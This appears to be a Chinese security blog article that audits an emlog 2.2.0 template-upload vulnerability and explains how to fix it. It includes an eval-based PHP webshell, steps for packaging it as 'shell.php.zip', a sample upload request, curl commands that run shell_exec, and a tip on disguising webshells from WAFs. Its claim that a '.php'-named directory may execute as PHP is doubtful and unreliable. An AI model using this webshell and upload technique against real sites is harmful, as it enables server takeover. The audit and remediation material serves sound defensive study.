当前位置: 首页 > news >正文

从emlog模板上传漏洞CNVD-2023-74536剖析文件上传安全审计方法论

1. 项目概述:一次针对经典CMS的深度安全审计

最近在整理一些老项目的安全资产,正好翻到了emlog这个曾经风靡一时的个人博客系统。虽然现在用的人不多了,但很多老站还在线上跑着,一旦出问题,影响面可不小。标题里提到的“CNVD-2023-74536”这个漏洞编号,实际上是一个模板文件上传漏洞,攻击者可以利用它直接往服务器上写Webshell,进而控制整个网站。今天,我就带大家从零开始,手把手审计一遍emlog 2.2.0版本的这个漏洞。这不仅仅是为了复现一个已知漏洞,更重要的是,我想通过这个案例,分享一套我个人在源代码审计时常用的思路、方法和工具链,让你不仅能看懂这个洞,更能掌握独立发现类似问题的能力。无论你是刚入门的安全爱好者,还是想巩固审计技能的开发者,相信这篇近万字的实操记录都能给你带来实实在在的收获。

2. 审计环境搭建与核心思路解析

2.1 为什么选择本地化审计环境?

在开始审计之前,搭建一个稳定、可控的测试环境至关重要。我强烈不建议直接在生产环境或临时VPS上操作。我的选择是在本地虚拟机(如VMware或VirtualBox)中部署一个完整的LAMP(Linux + Apache + MySQL + PHP)环境。这里我选用的是Ubuntu 20.04 LTS,系统相对稳定,包管理也方便。

注意:PHP版本需要与目标程序兼容。emlog 2.2.0是一个比较老的系统,它可能对高版本的PHP(如PHP 7.4+或PHP 8.x)支持不佳,甚至无法运行。经过测试,PHP 5.6或PHP 7.0是比较稳妥的选择。你可以使用sudo apt install php5.6 php5.6-mysql这样的命令来安装指定版本,并通过sudo update-alternatives --config php来切换系统默认的PHP版本。

除了基础环境,还需要准备以下几样“武器”:

  1. emlog 2.2.0 源码:这是我们的核心审计对象。务必从官方或可信渠道下载,确保源码未被篡改。
  2. 代码编辑器/IDE:推荐使用VS Code、PhpStorm或Sublime Text。它们具备强大的代码搜索、跳转和语法高亮功能,能极大提升审计效率。我习惯用PhpStorm,它的“Find Usages”(查找用法)功能在追踪变量传递和函数调用时非常好用。
  3. 浏览器与开发者工具:用于前端的漏洞验证和交互测试。Chrome或Firefox的开发者工具是必备的。
  4. 抓包代理工具:Burp Suite Community版或OWASP ZAP。用于拦截、修改和重放HTTP请求,是验证漏洞是否可利用的关键。
  5. 一句话木马(Webshell):用于验证文件上传漏洞的危害性。准备一个简单的PHP Webshell,如<?php @eval($_POST[‘cmd’]);?>请注意,此文件仅用于本地授权测试,严禁在未授权的情况下对任何网站进行测试。

搭建好环境后,将emlog源码部署到Web目录(如/var/www/html/emlog),按照安装向导完成数据库配置和站点初始化。确保前台和后台都能正常访问,这是后续动态测试的基础。

2.2 我的三层审计方法论

面对一个像emlog这样中等规模的源码,如果没有清晰的思路,很容易像无头苍蝇一样乱撞。我总结了一套“三层递进”的审计方法,在这次审计中得到了很好的实践。

第一层:入口点梳理与敏感功能定位。这是最宏观的一层。不要一上来就扎进代码细节。首先,通过阅读官方文档、浏览网站前后台,搞清楚这个系统有哪些主要功能模块。对于CMS来说,常见的敏感功能入口包括:

  • 用户登录/注册
  • 文章/评论的发布与管理
  • 文件上传(头像、附件、图片)
  • 插件/模板的安装与管理
  • 系统设置与备份
  • 数据库操作

我们的目标漏洞是“模板上传漏洞”,那么自然要将审计焦点集中在与“模板”相关的功能上。在emlog后台,通常会有“模板管理”、“安装新模板”之类的菜单。这就是我们的首要关注点。

第二层:静态代码分析与危险函数追踪。锁定大概范围后,进入代码层。这一层主要进行静态分析,即在不运行代码的情况下阅读源码。

  1. 搜索关键词:在IDE中全局搜索与“模板”、“上传”相关的文件、函数和变量名。例如,搜索包含“template”、“tpl”、“upload”字样的文件。在emlog中,我们很快会定位到admin目录下的template.phpupload.php等文件。

  2. 追踪危险函数:这是发现漏洞的核心技巧。我们需要关注那些如果使用不当就会导致安全问题的PHP函数。对于文件上传漏洞,最相关的危险函数包括:

    • move_uploaded_file(): 移动上传的文件到新位置。
    • copy(): 拷贝文件。
    • file_put_contents(): 将字符串写入文件。
    • fopen()/fwrite(): 文件写入操作。

    在IDE中全局搜索这些函数名,然后逐一审查其调用上下文。重点关注:文件的来源是否用户可控(如$_FILES$_GET$_POST)?目标路径是否用户可控?在写入前,是否对文件内容、后缀、MIME类型进行了充分且安全的校验?

第三层:动态交互测试与漏洞验证。静态分析发现可疑点后,必须通过动态测试来验证。这就是我们搭建本地环境的目的。

  1. 构造请求:使用浏览器正常访问模板上传功能,同时用Burp Suite拦截HTTP请求。观察请求的参数、格式(是否是multipart/form-data)。
  2. 修改与重放:在Burp Suite的Repeater模块中,尝试修改拦截到的请求。例如,尝试上传一个非模板文件(如.txt),或者修改文件后缀、文件内容(插入Webshell代码)。
  3. 结果分析:观察服务器的响应。是直接上传成功?还是返回了错误信息?错误信息是否暴露了路径等敏感数据?上传后的文件能否通过Web直接访问并执行?

通过这三层的循环与递进,我们就能像侦探一样,从功能到代码,从静态到动态,逐步逼近并最终确认漏洞的存在与利用方式。

3. 漏洞原理深度剖析与代码层拆解

3.1 模板上传功能正常逻辑梳理

要理解漏洞,必须先知道正常的流程应该是什么样的。在emlog 2.2.0中,模板通常以.zip压缩包的形式提供。后台“安装模板”的功能,其理想的安全逻辑应该包含以下步骤:

  1. 前端校验:通过JavaScript初步检查用户选择的文件是否为.zip格式(但这很容易被绕过,仅用于用户体验)。
  2. 服务器端接收:PHP通过$_FILES全局数组接收上传的文件。
  3. 安全性校验(关键环节)
    • 后缀名检查:检查文件后缀名是否为.zip
    • 文件类型检查:检查$_FILES[‘file’][‘type’](MIME类型),但这同样不可靠,因为可以被伪造。
    • 文件内容检查:更安全的方式是检查压缩包内的文件结构,确认其确实是一个符合规范的emlog模板包(例如,包含header.phpfooter.phplog_list.php等特定文件)。
    • 临时存储与解压:将.zip文件移动到一个临时目录,然后使用ZipArchiveshell_exec(‘unzip …’)命令进行解压。
    • 目标路径确定:将解压后的模板文件夹,移动到正式的模板目录下,例如/content/templates/
  4. 清理与反馈:删除临时.zip文件,在后台界面提示用户安装成功。

在这个过程中,任何一个环节的校验缺失或逻辑缺陷,都可能导致安全问题。

3.2 CNVD-2023-74536漏洞代码层分析

现在,让我们直接切入漏洞核心。通过静态分析定位到admin/template.php文件。我们找到处理模板上传的代码段。为了便于理解,我将关键代码进行简化还原和注释:

// admin/template.php 中的部分代码 if ($action == ‘upload’) { // 判断动作为‘上传’ $zipfile = $_FILES[‘tplzip’][‘tmp_name’]; // 获取上传的临时文件路径 $filename = $_FILES[‘tplzip’][‘name’]; // 获取上传的文件原始名 // 漏洞点1:后缀名检查过于简单且可绕过 if (strtolower(substr(strrchr($filename, ‘.’), 1)) != ‘zip’) { emMsg(‘请上传zip格式的模板文件!’); } // 假设这里通过了检查... $tpl_dir = substr($filename, 0, strrpos($filename, ‘.’)); // 根据文件名推断模板目录名 // 漏洞点2:未对$tpl_dir进行安全过滤,且解压路径拼接直接可控 $unzip_dir = EMLOG_ROOT . ‘/content/templates/’ . $tpl_dir . ‘/’; // 拼接最终解压路径 // 使用系统命令解压,这是另一个潜在风险点(如果文件名未过滤,可能导致命令注入) exec(“unzip -oq {$zipfile} -d {$unzip_dir}”); // 检查解压后是否存在必要的模板文件,如logo.gif(注意,这里检查的是gif,不是php) if (!file_exists($unzip_dir . ‘logo.gif’)) { // 如果不存在,则删除刚解压的目录 rmDir($unzip_dir); emMsg(‘模板文件不符合标准’); } // 如果存在logo.gif,则认为模板合法,安装成功 }

漏洞原理逐行拆解:

  1. 脆弱的后缀名检查(第6-8行):代码仅检查文件名中最后一个点号之后的后缀是否为zip。这意味着攻击者可以上传一个名为shell.php.zip的文件。这个文件的后缀是.zip,能通过检查。但在后续的$tpl_dir = substr($filename, 0, strrpos($filename, ‘.’));处理中,strrpos找到的是最后一个点号的位置,所以$tpl_dir会被赋值为shell.php这里埋下了一个致命的伏笔:解压目录名将包含.php后缀。

  2. 可控的解压路径(第12行):解压目标路径$unzip_dir是由基础模板目录/content/templates/和上面得到的$tpl_dir拼接而成。由于$tpl_dir来自未经安全处理的文件名(shell.php),导致最终的解压路径变成了/content/templates/shell.php/注意,这是一个目录路径,末尾有斜杠。

  3. 致命的解压行为(第15行):系统使用exec(“unzip …”)命令,将上传的ZIP包解压到/content/templates/shell.php/这个目录下。

  4. 检查机制的绕过(第18行):代码检查解压后的目录中是否存在logo.gif文件。攻击者只需要在构造的恶意ZIP包中,包含一个logo.gif文件(可以是任意有效的GIF图片),即可通过此检查。

那么,漏洞如何被利用?攻击者可以精心构造一个ZIP压缩包:

  • 压缩包内包含一个Webshell文件,例如index.php,内容为<?php phpinfo();?>
  • 同时,在压缩包根目录下放置一个合法的logo.gif图片文件。
  • 将这个压缩包重命名为shell.php.zip

上传此文件后:

  1. 通过后缀检查(因为是.zip)。
  2. $tpl_dir被设置为shell.php
  3. 系统尝试将ZIP包解压到/content/templates/shell.php/目录。
  4. 由于该目录名以.php结尾,在某些特定的服务器配置下(例如,开启了AddTypeAddHandler.php目录也解析为PHP),访问http://目标站点/content/templates/shell.php/这个URL时,服务器可能会将整个目录当作一个PHP文件来解析执行!更常见且稳定的利用方式是,由于解压成功,我们的Webshell文件index.php实际存在于/content/templates/shell.php/index.php。那么,直接访问http://目标站点/content/templates/shell.php/index.php,我们的Webshell就被成功执行了。

这个漏洞的精妙之处在于,它绕过了常规的文件内容检查(因为检查的是logo.gif),并且利用了解压路径目录名可控这一特点,将Webshell部署到了可访问的Web目录下。

4. 漏洞复现与利用全流程实操

理论分析得再透彻,不如亲手实践一遍。下面,我将在本地搭建的emlog 2.2.0环境中,完整复现这个漏洞的利用过程。

4.1 第一步:构造恶意模板压缩包

首先,在本地任意位置创建一个临时文件夹,比如叫exploit_tpl

  1. 在该文件夹内,创建一个文本文件,命名为index.php,内容为我们的一句话木马:

    <?php @eval($_POST[‘cmd’]);?>

    实操心得:在实际渗透测试中,为了规避一些简单的WAF或静态查杀,可以对Webshell进行简单的编码或变形,例如使用assertcreate_function等函数,或者将代码进行Base64编码后再解码执行。但本地测试用最经典的eval即可。

  2. 在该文件夹内,还需要放置一个logo.gif文件。你可以从网上随便下载一个小尺寸的GIF图片,或者自己用画图工具创建一个单像素的GIF(文件头为GIF89a)。这是为了通过源码中的file_exists($unzip_dir . ‘logo.gif’)检查。

  3. 现在,选中index.phplogo.gif这两个文件,右键将它们压缩成一个ZIP包。关键步骤来了:将这个压缩包的文件名重命名为shell.php.zip。请注意,是压缩包本身的名字叫shell.php.zip,而不是压缩包里的文件。

至此,我们的“特制模板”就准备好了。它的结构是:一个名为shell.php.zip的压缩包,解压后包含index.php(Webshell)和logo.gif(诱饵文件)。

4.2 第二步:模拟攻击者上传流程

  1. 登录emlog后台(默认通常是http://your-local-site/admin/)。
  2. 找到“模板”或“主题”管理相关的菜单。在emlog 2.2.0中,路径可能是“后台 > 模板”。
  3. 找到“安装新模板”或“上传模板”的按钮。点击后,会看到一个文件选择框。
  4. 此时,打开Burp Suite,配置好浏览器代理,确保能拦截到HTTP请求。
  5. 在文件选择框中,选择我们刚刚制作好的shell.php.zip文件,然后点击“上传”或“安装”。
  6. Burp Suite的Proxy模块会拦截到这个POST请求。大致格式如下:
    POST /admin/template.php?action=upload HTTP/1.1 Host: your-local-site Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxxx ------WebKitFormBoundaryxxxxx Content-Disposition: form-data; name=“tplzip”; filename=“shell.php.zip” Content-Type: application/zip [ZIP文件的二进制数据] ------WebKitFormBoundaryxxxxx ...
  7. 我们可以将拦截到的请求发送到Burp Suite的Repeater模块,方便多次测试和修改。但在这个漏洞中,我们无需修改请求,因为我们的恶意文件名已经符合漏洞触发条件。直接放行请求或点击“Forward”。

4.3 第三步:验证漏洞利用是否成功

上传完成后,观察后台页面。如果漏洞存在且我们的文件符合“规则”,页面通常会提示“模板安装成功”或类似信息。

现在,我们来验证Webshell是否真的被上传并可以访问。

  1. 根据我们之前的代码分析,文件应该被解压到了/content/templates/shell.php/目录下。
  2. 在浏览器中访问:http://your-local-site/content/templates/shell.php/index.php
    • 如果页面空白或没有报错(如404),可能意味着文件存在但无输出。我们可以用POST方式传递命令。
  3. 使用curl命令或HackBar等浏览器插件来执行命令。例如,用curl
    curl -X POST http://your-local-site/content/templates/shell.php/index.php -d “cmd=phpinfo();”
    如果页面返回了PHP的配置信息,则证明漏洞利用成功,Webshell已获得执行权限。
  4. 进一步,可以尝试执行系统命令。由于eval执行的是PHP代码,我们需要使用PHP的系统命令执行函数,如system()shell_exec()。构造POST数据为:cmd=echo shell_exec(‘whoami’);,查看当前Web服务的运行用户。

注意事项:在实际的授权测试中,获取Webshell权限后应立即向项目方报告,并立即删除测试文件,切勿进行任何破坏性操作。在本地环境中测试完毕后,也请务必清理测试文件,养成良好的安全习惯。

5. 漏洞修复方案与安全编程启示

5.1 针对此漏洞的修复建议

对于一个已经公开的漏洞,修复思路是清晰的。我们可以直接定位到有问题的代码文件(admin/template.php),进行如下修改:

  1. 强化后缀名检查:不仅检查最后一个点号,还应检查整个文件名中是否只允许出现一个特定的后缀,并且该后缀必须严格匹配。更好的做法是使用白名单机制。

    // 修复后的后缀检查示例 $allowed_ext = array(‘zip’); $file_ext = pathinfo($filename, PATHINFO_EXTENSION); // 使用pathinfo函数更可靠 if (!in_array(strtolower($file_ext), $allowed_ext)) { emMsg(‘只允许上传ZIP格式的模板文件!’); }
  2. 严格过滤解压目录名:从文件名提取目录名时,必须过滤掉所有非字母数字和合法字符(如下划线、减号),防止目录名中包含./\等可能导致路径穿越或特殊解析的字符。

    // 修复后的目录名提取与过滤 $tpl_dir = preg_replace(‘/[^a-zA-Z0-9_-]/’, ‘’, $tpl_dir_base); // 只保留字母、数字、下划线、减号 if (empty($tpl_dir)) { emMsg(‘模板名称不合法!’); } // 还可以进一步检查目录名是否以已知安全的后缀结尾(可选,但建议避免) // if (preg_match(‘/\.(php|php5|phtml|inc)$/i’, $tpl_dir)) { emMsg(‘目录名非法!’); }
  3. 避免使用危险的系统命令:如果可能,尽量使用PHP自带的ZipArchive类来解压文件,它更安全,且不依赖于系统环境。

    $zip = new ZipArchive; if ($zip->open($zipfile) === TRUE) { $zip->extractTo($unzip_dir); // $unzip_dir 应该是经过安全校验的固定或随机目录 $zip->close(); } else { emMsg(‘解压模板文件失败!’); }
  4. 解压到临时随机目录,并校验内容后再移动:更安全的流程是,先将ZIP包解压到一个临时、随机的目录名(如/tmp/emlog_tpl_XXXXXX/)下。然后,在这个临时目录里校验压缩包内的文件结构是否完全符合模板规范(检查必须的文件,并扫描是否有可疑的PHP等可执行文件)。只有校验完全通过后,才将整个文件夹移动到正式的模板目录。校验失败,则直接删除整个临时目录。

5.2 从漏洞中提炼的安全编程准则

这个漏洞虽然发生在特定的老版本CMS中,但它反映出的安全问题却具有普遍性。在开发任何涉及文件上传、解压、路径处理的功能时,请务必牢记以下准则:

  • 原则一:一切用户输入皆不可信。$_GET$_POST$_FILES$_COOKIE$_REQUEST,甚至是$_SERVER中的部分变量(如HTTP_REFERER),都可能被伪造。必须对它们进行严格的过滤、验证和转义。
  • 原则二:使用白名单,而非黑名单。对于文件后缀、MIME类型、允许的字符集,定义明确的、最小化的白名单。只接受白名单内的内容,拒绝其他一切。黑名单永远会有遗漏。
  • 原则三:最小权限原则。确保Web服务器进程(如www-data用户)对网站目录只有必要的读写权限。例如,上传目录最好独立出来,并配置为不可执行脚本(通过Apache的.htaccess或Nginx的location规则,禁止该目录解析PHP)。
  • 原则四:避免将用户可控数据直接拼接进系统命令、SQL语句、文件路径、HTML输出中。这是导致命令注入、SQL注入、路径穿越、XSS等漏洞的根本原因。务必使用参数化查询(PDO)、转义函数(escapeshellarg)、安全的路径处理函数(realpath)等。
  • 原则五:深度防御。不要只依赖一层校验。前端做JS校验提升体验,后端做严格的逻辑和安全性校验。文件上传后,还可以进行病毒扫描、内容二次检查等。

6. 审计延伸:如何系统性发现同类漏洞

复现一个已知漏洞是学习的第一步。更高级的能力是,如何在一个陌生的系统中,独立发现未知的此类漏洞。结合本次审计经验,我分享一下我的系统性方法。

6.1 自动化工具辅助与人工审计结合

完全依赖人工阅读所有代码效率低下。我会使用一些自动化工具进行初步筛选:

  • 静态代码分析工具(SAST):如RIPSPHPStan(侧重代码质量,但也能发现安全问题)、SonarQube等。这些工具可以快速扫描整个项目,标记出使用危险函数(如eval,system,move_uploaded_file)的代码位置,以及可能存在SQL注入、XSS的点。但工具的报告会有大量误报和漏报,绝不能替代人工分析。工具的作用是提供“线索”。
  • 文本搜索与正则表达式:在IDE中使用强大的搜索功能。我常用的搜索模式包括:
    • \$_FILES\[.*\]: 查找所有文件上传处理点。
    • move_uploaded_file|copy\(|file_put_contents|fwrite\(: 查找文件写入操作。
    • exec\(|system\(|passthru\(|shell_exec\(|popen\(|proc_open\(: 查找命令执行函数。
    • include\(|require\(|include_once\(|require_once\(.*\$_: 查找可能存在本地文件包含(LFI)或远程文件包含(RFI)的动态包含。
    • unzip.*\$|tar.*\$|: 查找解压命令,注意变量拼接。

6.2 建立“攻击者思维”与数据流追踪

拿到工具提供的线索后,就需要代入攻击者视角进行人工深度审计。核心方法是“数据流追踪”

  1. 定位输入源(Source):找到一个用户可控的输入点,比如一个表单参数($_POST[‘filename’])、一个上传的文件($_FILES[‘avatar’][‘name’])、一个URL参数($_GET[‘id’])。
  2. 追踪数据流向(Flow):在代码中一步步追踪这个输入值去了哪里。它是否被赋值给了一个变量?这个变量是否经过了函数处理(如trim(),addslashes())?处理是否充分和安全?
  3. 到达危险函数(Sink):最终,这个被处理过的数据,是否传递到了一个“危险函数”的参数中?例如,是否成为了move_uploaded_file()的目标路径的一部分?是否拼接进了exec()的命令字符串里?

以本次emlog漏洞为例,我们的追踪路径是:

  • Source:$_FILES[‘tplzip’][‘name’](用户上传的文件名)
  • Flow: 赋值给$filename-> 经过简单的后缀检查(未过滤)-> 用于生成$tpl_dir-> 拼接进$unzip_dir
  • Sink:$unzip_dir被直接拼接进exec(“unzip … -d {$unzip_dir}”)的命令中。同时,$unzip_dir本身作为一个目录路径,也导致了Webshell的部署。

在整个追踪过程中,要特别关注那些“看似安全”的过滤函数。例如,htmlspecialchars()可以防御XSS,但对文件路径穿越无效;addslashes()在特定字符集下可能绕过来防御SQL注入。必须理解每个函数的确切作用。

6.3 针对文件上传功能的专项检查清单

当你审计一个文件上传功能时,可以拿着下面这个清单逐项核对:

  • [ ]前端校验:是否仅在前端(JavaScript)做了校验?可轻易绕过。
  • [ ]后缀名校验:是否使用白名单?黑名单有哪些?是否区分大小写(PHPvsphp)?是否允许多重后缀(shell.php.jpg)?解析顺序如何?
  • [ ]MIME类型校验:是否检查Content-Type?是否从文件内容检测真实类型(如finfo_file())?
  • [ ]文件内容校验:是否检查文件头(Magic Bytes)?对于图片,是否用GD库或ImageMagick进行二次渲染/重采样?对于ZIP等压缩包,是否在解压后检查内部文件?
  • [ ]文件名处理:是否重命名(如使用md5(时间戳))?是否保留原文件名?原文件名中的目录分隔符(../)是否被过滤?
  • [ ]存储路径:路径是否用户可控?是否允许路径穿越?最终存储目录是否在Web可访问范围内?该目录是否配置了禁止脚本执行?
  • [ ]权限覆盖:如果存在同名文件,是覆盖、重命名还是拒绝?覆盖是否可能导致权限提升?
  • [ ]解压/处理逻辑:如果涉及解压,解压目录是否可控?解压后是否检查压缩包内文件的路径(防止Zip Slip路径穿越漏洞)?

通过这样系统性的方法,你就能从一个简单的“复现者”,成长为主动的“发现者”。审计代码就像解谜,掌握了正确的方法和思路,就能在复杂的逻辑中找到那些隐藏的安全破绽。这次对emlog 2.2.0的审计,就是一个很好的起点,希望这套方法论能对你未来的安全学习之路有所帮助。

http://www.gsyq.cn/news/1552151.html

相关文章:

  • 如何用AutoUnipus快速完成U校园网课:2025年完整自动化指南
  • 从CVE-2022-23366漏洞修复实战,详解SQL注入防御全链路策略
  • 太空天书的破译者:卫星制造翻译的技术与艺术
  • 车载信息娱乐系统(IVI)网络安全实战:从架构设计到渗透测试
  • Gemma 2开源大模型技术解析:轻量级、可商用、强合规的工程实践指南
  • 基于Playwright网络监听的高效数据采集方案:告别DOM解析,直击API源头
  • Qwen3.5原生多模态智能体架构解析与工程落地指南
  • 网络安全信息收集实战:MSCAN+NMAP+NC+Python构建自动化侦察框架
  • 2026年可靠的家用调味一烤竹盐/四川富硒一烤竹盐/四川高温煅烧一烤竹盐/益鼎天养一烤竹盐可靠供应商推荐 - 行业平台推荐
  • 2026年比较好的温润调养九烤竹盐/成都无添加天然九烤竹盐/九烤竹盐/九烤竹盐四川竹盐生产厂家推荐 - 品牌宣传支持者
  • Gemini 3.1 Pro科研提示词公式:四层指令激活学术推理
  • 2026年热门的浙江大型设备搬运吊装/宁波工厂设备搬运吊装/整厂设备搬运吊装定制加工厂家推荐 - 行业平台推荐
  • Windows热键冲突智能侦探:精准定位被占用快捷键的终极秘籍
  • 2026年优秀的宁波工厂设备搬运吊装/浙江重型设备搬运吊装批量采购厂家推荐 - 品牌宣传支持者
  • 从Nmap到自动化闭环:构建匹配现代漏洞发现速度的修复体系
  • 腾讯 PCG 腾讯视频暑期实习一二三面+HR 面:一面代码量大,二面树和加密,三面开始追 QUIC 和智能指针计数
  • 【会议征稿通知 | 西安理工大学、中国微生物高新技术产业服务联盟、广东药科大学支持 | ACM出版 | EI 、Scopus稳定检索】
  • AI 工具怎么取金融行情数据?用 TickDB 跑出一张带核对痕迹的研究表
  • 异菌脲农药残留检测卡快速检测果蔬中的异菌脲农药残留
  • Microchip 24XX128系列EEPROM选型指南:从命名规则到硬件设计避坑
  • Splash:轻量级 JavaScript 渲染服务
  • 2026年口碑好的北京空间设计与制作/平面设计与制作/展览展厅设计/企业礼品定制与设计专业公司推荐 - 行业平台推荐
  • 南大通用数据迁移方法
  • 从零构建一个 Harness-on-the-Loop 系统
  • 2026年优秀的四川蓝牌房车/高性价比房车/四驱越野升顶房车厂家精选合集 - 行业平台推荐
  • AI技术助力SEO关键词优化的新趋势与实践分享
  • 2026年合肥中职学校推荐,中高职贯通学校/无人机专业学校/新能源汽车专业学校/人工智能专业学校,中职学校哪家好 - 品牌推荐师
  • 2026年热门的中低压锅炉管/不锈钢焊接管/江苏不锈钢无缝管/江阴不锈钢无缝管源头工厂推荐 - 行业平台推荐
  • 2026年热门的江苏食品级氨水/食品级氨水/泰州食品级氨水长期合作厂家推荐 - 品牌宣传支持者
  • 2026年比较好的杭锦后旗财务外包/乌海一般纳税人财务外包/内蒙古小微企业财务外包本地公司推荐 - 行业平台推荐